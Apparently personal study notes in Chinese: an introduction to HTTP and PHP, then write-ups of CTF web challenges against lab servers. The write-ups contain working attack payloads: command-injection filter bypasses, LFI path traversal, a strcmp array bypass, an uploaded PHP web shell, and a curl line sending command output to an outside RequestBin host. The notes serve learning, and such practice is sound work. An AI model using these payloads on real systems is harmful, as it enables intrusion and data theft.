Note
Web Intro
Web:用瀏覽器去瀏覽的網站/網頁
目的:了解底下的運作
輸入網址->出現網頁
Ex.https://lab.djosix.com
- 解析 url
- https 資料會被加密的 http
- 主機名稱對應到的 IP (問 DNS Server)
- 連線到IP位址的某個port
(Ex.http -> port80 ; https -> port443) - 一個主機上面會有很多個port (0 ~ 65535)
- 伺服器可以在很多個port上面開監聽者,等待使用者點進來
- 建立TCP連線
- 加密 傳送HTTP請求的格式
- 伺服器解析請求格式 -> 瀏覽器拿哪個檔案
至少需要前面兩行伺服器就可以知道你請求什麼檔案以及你利用哪個主機傳送
GET / HTTP/1.1
Host: lab.djosix.com
伺服器收到後就會去找你請求的檔案
若沒有找到你要的檔案
就會去找index.html
接著瀏覽器就會把內容畫到網頁上
按 F12 可以看到開發者模式Request Headers
->瀏覽器傳了什麼給伺服器Response Headers
->伺服器回傳什麼給使用者
或是用指令看->curl
curl
curl [url]
curl -v [url]
/ curl [url] -vvv
可以看到更詳細的網頁底層,在上面做任意的HTP request
response 的通常是 200 OK
如果出現301 moved permanently
或302 Found
代表點開那個網址之後會傳送到下面Location:
的網址
Headers
>
是瀏覽器傳了什麼給伺服器<
是伺服器回傳什麼給使用者
Body
網頁內容
開法者模式F12
element 的 block 裡面如果有readonly
就代表該 block 不能在頁面上直接改
PHP
action
按下表單之後會送到那個檔案裏面
echo
-> print
echo 字串 . 字串
-> 把兩個字串接在一起
var_dump
-> 可以print PHP的任何物件然後排版
--
-> 單行註解
null
在PHP裡面==0
==
會先把左右兩邊都換成同樣的類型再去判斷 (ex.NULL
會被轉成 int 而變成 0 )
===
就會要求左右兩邊都要是同樣的類型
Write-up
Web
KAIBRO BUY
F12 修改element
Level
從 cookies 把 Level 的 volue 改成 1000 就可以了(點兩下可以改)
Secret Login
可以看有甚麼東西丟進去 strcmp 會變成 0
PHP strcmp
http://140.110.112.78:2502/?pass[]=hijnk&secret=45645
Downloader
先看一下網頁的原始碼
會看到 http://140.110.112.78:2505/download.php?f=cute1.jpg
可以猜測是 download.php 會去讀 f 的參數
所以可以看看 f 有甚麼其他的可以讀
像是curl http://140.110.112.78:2505/download.php?f=download.php
從第一行$file = $_GET['f'];
能夠知道他會去讀f的值
<?php
$file = $_GET['f'];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
?>
還可以讀這個頁面
這個頁面是 PHP 的話就可以讀讀看index.php
curl http://140.110.112.78:2505/download.php?f=index.php
從第一行可以看到他會去 include 另外一個 php 檔
<?php
include("config.inc.php");
?>
<html>
<head>
<meta charset="UTF-8">
<title>Downloader</title>
</head>
<body>
<h1>File Download</h1>
<ul>
<li><a href="download.php?f=cute1.jpg">貓貓1</a></li>
<li><a href="download.php?f=cute2.jpg">貓貓2</a></li>
<li><a href="download.php?f=cute3.png">貓貓3</a></li>
</ul>
</body>
</html>
所以再讀讀看config.inc.php
就可以得到flag了
curl http://140.110.112.78:2505/download.php?f=config.inc.php
lightning
用curl -v
去看網址之後會發現302 Found
下面有一個Location
是會連結到的網址
所以在 curl 一次就可以了
Q:為甚麼不能用瀏覽器看到 flag
A:因為你跳到 Location 裡面的連結的時候他又會重新導向到 nothing.php 的網址
Cat Digger
google.com ; ls
google.com ; cat/flag
結果會變成You can't use my cat!
可以知道他有擋文字試試看繞過 cat
google.com ; ca"t/flag
結果會變成My cat doesn't like flag!
可以知道還有擋flag
一些繞過的方法
google.com; ca''t /fla''g
google.com; ca''t /fla*
google.com; ca''t /fl?g
google.com; ca''t /fl""ag
google.com; ca''t /fl${var}ag
google.com; ca''t /fl\ag
google.com; more /fl''ag
google.com; less /fl''ag
google.com; head /fl''ag
google.com; tail /fl''ag
google.com; curl file:///fl''ag
webshell
decode 之後會發現system($_POST[123]);
eval(要執行的內容)
->執行
curl -v http://140.110.112.78:2508/ 'cat /flag'
Web Level 1
Robots.txt
robots.txt是一種文字檔案,它告訴網路搜尋引擎此網站中的哪些內容是不應被搜尋引擎的搜尋到的,哪些是可以被搜尋引擎搜尋到的。 但駭客卻常透過robots.txt來知道哪些網頁目錄含有重要或是隱私資訊。
本題任務是請你找到robots.txt並因此找到flag。
提示1 : robots.txt的存放放置
提示2 : 相關hex to string及base64 編碼請連結以下網址:
http://120.114.62.202:2001/
照他的題目名字去看robots.txt
可以拿到 516e4a6c595774425445784456455a374e31463053304979546a5655624846425155563651334a36546b3939
再依照題敘做 hex to string 和 base64
hex to string :QnJlYWtBTExDVEZ7N1F0S0IyTjVUbHFBQUV6Q3J6Tk99
base64 decode:BreakALLCTF{7QtKB2N5TlqAAEzCrzNO}
Web Level 2
Local File Inclusion
LFI(Local File Inclusion,本地文件載入)常是駭客常用的目錄遍歷攻擊(directory traversal attack)。請上網看看他的攻擊技術。
本題任務是請你使用LFI找到flag。
請連結以下網址進行解題:
http://140.110.112.78:2003/
在最上面那攔點 Home 和 About 可以看到
有 ?page= 所以可以試著輸入其他東西
所以我們試著一直回前頁到根目錄,因為不知道在多前面所以就打一堆../
http://140.110.112.78:2003/index.php?page=../../../../../../etc/hosts
會跑出
127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.17.0.36 476d62ab5d51
可以知道有到我們的根目錄了
再從根目錄去抓 flag 就可以了
http://140.110.112.78:2003/index.php?page=../../../../../../flag
BabyCMDi
用RequestBin這個網址可以先建一個 server
創建一個RequestBin
複製他的網址後
$(curl http://requestbin.net/r/1em8v3f1 -d "$(ls)")
"$()"
加”的原因 -> 如果有兩個參數的話就會變成兩個字串,用雙引號包起來才會是一個字串
可以在 RequestBin 上面看到
RAW BODY
flag
index.php
可以知道可以把網址上的index.php
直接改成flag
就出來了
Web_Getting Started
Redirect
點擊 按一下點我看 flag
打開開發者模式之後
看到 network 那裏多了一個 flag.php
看一下他的 Header 會發現是302 Found
然後它的 Location 是 /
就是該目錄的意思
所以直接 curl 它的 Request url http://140.110.112.78:10203/flag.php
就可以了
Form
目標:不要跑進去return checkForm(this)
的函式(在 script 內),跑進去就會被擋掉
解1
先把密碼打好
然後再 console ( JS 的編譯)裡打 `document.querySelector(‘form’).submit()
可以防止被擋掉
解2
curl http://140.110.112.78:10204/ -d 'pw=123'
-d
後面接參數,相當於直接輸入
Shell
先建立一個php檔vim test.php
裡面輸入<?php system($_GET['x']);
上傳檔案之後把他拿去 curl 可以得到網址
因為網址前面有 file 所以可以知道他在 file 裡面
把網址回前頁再加上 file 下去跑
http://140.110.112.78:10210/?page=../files/dd0bf9bdec1a52e905c05f98f8cc8ae9/93bc3c03503d8768cf7cc1e39ce16fcb.txt
可以看到是 ok 的!只是 system 沒有執行,因為沒有輸入 x 所以再加上 x
http://140.110.112.78:10210/?page=../files/dd0bf9bdec1a52e905c05f98f8cc8ae9/93bc3c03503d8768cf7cc1e39ce16fcb.txt&x=ls
會出現files flag_1223b8c30a347321299611f873b449ad.txt index.php mods upload.php
再用x=
去抓 flag 就可以得到了
http://140.110.112.78:10210/?page=../files/dd0bf9bdec1a52e905c05f98f8cc8ae9/93bc3c03503d8768cf7cc1e39ce16fcb.txt&x=cat%20flag_1223b8c30a347321299611f873b449ad.txt